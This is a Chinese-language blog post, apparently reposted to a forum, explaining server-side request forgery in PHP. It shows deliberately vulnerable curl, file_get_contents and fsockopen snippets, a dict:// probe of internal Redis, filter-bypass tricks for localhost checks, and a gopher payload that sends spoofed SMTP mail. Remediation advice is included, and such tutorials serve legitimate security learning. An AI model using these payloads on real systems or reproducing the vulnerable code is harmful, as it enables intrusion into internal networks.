漂泊旅途 發表於 2021-3-1 13:59:00

PHP下的SSRF

<h1 id="前言">前言</h1>
<p>最近一段时间再找工作面试,然后hw也面试,就没时间写博客啥的,找工作还得面谈,前天刚从厦门回来,明天又要去泉州了。但是我发现面试好像都喜欢问ssrf,那么我就想着写一篇ssrf,然后看看有时间的话我顺便写下xxe这玩意儿。</p>
<h1 id="0x01ssrf">0x01、SSRF</h1>
<p>ssrf原理是啥?个人理解如下</p>
<pre><code>ssrf是服务端请求伪造,顾名思义,就是服务端有功能点发起请求,但是没有过滤用户输入的传参,从而被攻击者利用,对指定目标进行发起请求。而因为是服务端发起的请求,所以ssrf亦可以对内网中其他机器发起请求。
</code></pre>
<p>在哪里可以挖掘呢?从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。</p>
<h2 id="1漏洞的产生">1、漏洞的产生</h2>
<p>在PHP中的<code>curl()</code>,<code>file_get_contents()</code>,<code>fsockopen()</code> 等函数是几个主要产生ssrf漏洞的函数</p>
<p><img src="https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210301133353043-858089833.png" alt="" loading="lazy"></p>
<h3 id="1-curl">1) curl()</h3>
<pre><code class="language-php">&lt;?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    #curl_setopt($ch,CUPLOPT_HEADER,1);
    curl_exec($ch);
    curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?&gt;
</code></pre>
<p>function 定义一个函数,叫做curl,有一个参数,叫<code>$url</code><br>
<code>curl_init()</code> 初始化一个cURL会话后。将<code>$url</code>传入<code>curl_setopt($ch,CURLOPT_URL,$url)</code>;</p>
<blockquote>
<p>(curl_setopt($ch, CURLOPT_HEADER, 1) 这边是设定返回信息信息,是否要返回响应信息头这里的话可以注释掉)</p>
<p>注释后的:</p>
<img src="https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210301134250671-1807398500.png" style="zoom: 50%">
<p>没注释的:</p>
<p><img src="https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210301134351454-2000307259.png" alt="" loading="lazy"></p>
</blockquote>
<p>然后通过 curl_exec 发起一个请求,curl_exec详细信息<br>
然后这就是一个函数,接下来再设置一个get传参为变量url,然后再把这个变量url代入前面所创建的那个 curl函数</p>
<p><strong>2)file_get_contents()</strong></p>
<pre><code class="language-php">&lt;?php

if(isset($_POST['url']))
{
    $content=file_get_contents($_POST['url']);
    $filename='./images/'.rand().'.img';\
    file_put_contents($filename,$content);
    echo $_POST['url'];
    $img="&lt;img src=\"".$filename."\"/&gt;";

}
echo $img;
?&gt;
</code></pre>
<pre><code class="language-php">&lt;?php
$url = $_GET['url'];;
echo file_get_contents($url);
?&gt;
</code></pre>
<p>file_get_content函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。</p>
<p><strong>3) fsockopen()</strong></p>
<pre><code class="language-php">&lt;?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)&lt;br /&gt;\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
      echo fgets($fp, 128);
    }
    fclose($fp);
}?&gt;
</code></pre>
<p><code>fsockopen</code> 函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限</p>
<p><strong>注意</strong></p>
<pre><code class="language-php">1. 一般情况下PHP不会开启fopen的gopher wrapper
2. file_get_contents的gopher协议不能URL编码
3. file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4. curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5. curl_exec() //默认不跟踪跳转,
6. file_get_contents() // file_get_contents支持 php://input协议
</code></pre>
<h1 id="0x02利用方式">0x02、利用方式</h1>
<p><strong>2.协议</strong><br>
<strong>(1)file</strong>: 在有回显的情况下,利用 file 协议可以读取任意内容<br>
<strong>(2)dict</strong>:泄露安装软件版本信息,查看端口,操作内网redis服务等</p>
<pre><code>http://test.org/ssrf.php?url=dict://127.0.0.1:6379/info//查看reids相关配置

如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。
</code></pre>
<p><strong>(3)gopher</strong>:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。可用于反弹shell<br>
(<strong>4)http/s</strong>:探测内网主机存活</p>
<h1 id="0x03修复方式">0x03、修复方式</h1>
<p>1、过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。</p>
<p>2、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。</p>
<p>3、限制请求的端口,比如80,443,8080,8090。</p>
<p>4、禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。</p>
<p>5、使用DNS缓存或者Host白名单的方式。</p>
<h1 id="0x04绕过方式">0x04、绕过方式</h1>
<h2 id="1利用">1、利用[::]</h2>
<pre><code>利用[::]绕过localhost
http://[::]:80/&gt;&gt;&gt;http://127.0.0.1
</code></pre>
<h2 id="2利用">2、利用@</h2>
<pre><code>http://example.com@127.0.0.1
</code></pre>
<h2 id="3利用短链接">3、利用短链接</h2>
<pre><code>http://dwz.cn/11SMa&gt;&gt;&gt;http://127.0.0.1
</code></pre>
<h2 id="4修改类型">4、修改类型</h2>
<pre><code>修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
</code></pre>
<h2 id="5利用enclosed-alphanumerics">5、利用Enclosed alphanumerics</h2>
<pre><code>利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ&gt;&gt;&gt;example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
</code></pre>
<h2 id="6利用句号">6、利用句号</h2>
<pre><code>127。0。0。1&gt;&gt;&gt;127.0.0.1
</code></pre>
<h2 id="7利用进制转换">7、利用进制转换</h2>
<pre><code>可以是十六进制,八进制等。
115.239.210.26&gt;&gt;&gt;16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
</code></pre>
<h2 id="8利用协议">8、利用协议</h2>
<pre><code>Dict://
dict://&lt;user-auth&gt;@&lt;host&gt;:&lt;port&gt;/d:&lt;word&gt;
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
</code></pre><br><br>
来源:https://www.cnblogs.com/0x7e/p/14463234.html
頁: [1]
查看完整版本: PHP下的SSRF